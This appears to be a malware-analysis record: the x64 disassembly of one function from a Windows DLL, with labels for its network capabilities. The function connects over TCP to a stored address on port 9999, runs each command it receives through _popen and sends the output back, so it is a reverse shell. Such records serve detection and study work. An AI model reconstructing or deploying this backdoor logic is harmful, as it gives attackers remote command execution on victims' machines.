Function at 0x1800111ef
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
jmp 0x180015700
push rbp
push rdi
mov eax, 0x1828
call fcn.1800110ff
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x482
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180023040]
xor rax, rbp
mov qword [rbp + 0x17f0], rax
lea rcx, [0x1800290f9]
call fcn.180011573
mov qword [rbp + 8], 0xffffffffffffffff
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x180015771
jmp 0x180015973
mov eax, 2
mov word [rbp + 0x28], ax
mov cx, 0x270f
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x2a], ax
lea r8, [rbp + 0x2c]
mov rdx, qword [section..data]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1800157c6
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x180015973
xor eax, eax
cmp eax, 1
je 0x180015969
xor r9d, r9d
mov r8d, 0xfff
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x1074], eax
cmp dword [rbp + 0x1074], 0
jg 0x1800157fc
jmp 0x180015969
movsxd rax, dword [rbp + 0x1074]
mov qword [rbp + 0x17d8], rax
cmp qword [rbp + 0x17d8], 0x1000
jae 0x180015819
jmp 0x18001581e
call fcn.180011410
mov rax, qword [rbp + 0x17d8]
mov byte [rbp + rax + 0x60], 0
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x1098]
call fcn.18001127b
lea rdx, str.exit
lea rcx, [rbp + 0x1098]
call fcn.18001123a
movzx eax, al
test eax, eax
je 0x180015885
mov rcx, qword [0x180023a30]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, send
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageW]
lea rcx, [rbp + 0x1098]
call fcn.180011109
jmp 0x180015969
lea rcx, [rbp + 0x10d8]
call fcn.180011564
lea rcx, [rbp + 0x1098]
call fcn.180011087
lea rdx, [0x18001f29c]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll__popen]
mov qword [rbp + 0x11b8], rax
cmp qword [rbp + 0x11b8], 0
jne 0x1800158d3
lea rdx, str.Error_executing_command
lea rcx, [rbp + 0x10d8]
call fcn.180011032
jmp 0x180015913
mov r8, qword [rbp + 0x11b8]
mov edx, 0x80
lea rcx, [rbp + 0x1120]
call qword [sym.imp.ucrtbased.dll_fgets]
test rax, rax
je 0x180015906
lea rdx, [rbp + 0x1120]
lea rcx, [rbp + 0x10d8]
call fcn.18001106e
jmp 0x1800158d3
mov rcx, qword [rbp + 0x11b8]
call qword [sym.imp.ucrtbased.dll__pclose]
lea rcx, [rbp + 0x10d8]
call fcn.1800114bf
mov qword [rbp + 0x17e8], rax
lea rcx, [rbp + 0x10d8]
call fcn.180011087
xor r9d, r9d
mov rcx, qword [rbp + 0x17e8]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [rbp + 0x10d8]
call fcn.180011109
lea rcx, [rbp + 0x1098]
call fcn.180011109
jmp 0x1800157c6
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, [rbp - 0x20]
lea rdx, [0x18001ec10]
call fcn.180011483
mov rcx, qword [rbp + 0x17f0]
xor rcx, rbp
call fcn.1800112b7
lea rsp, [rbp + 0x1808]
pop rdi
pop rbp
ret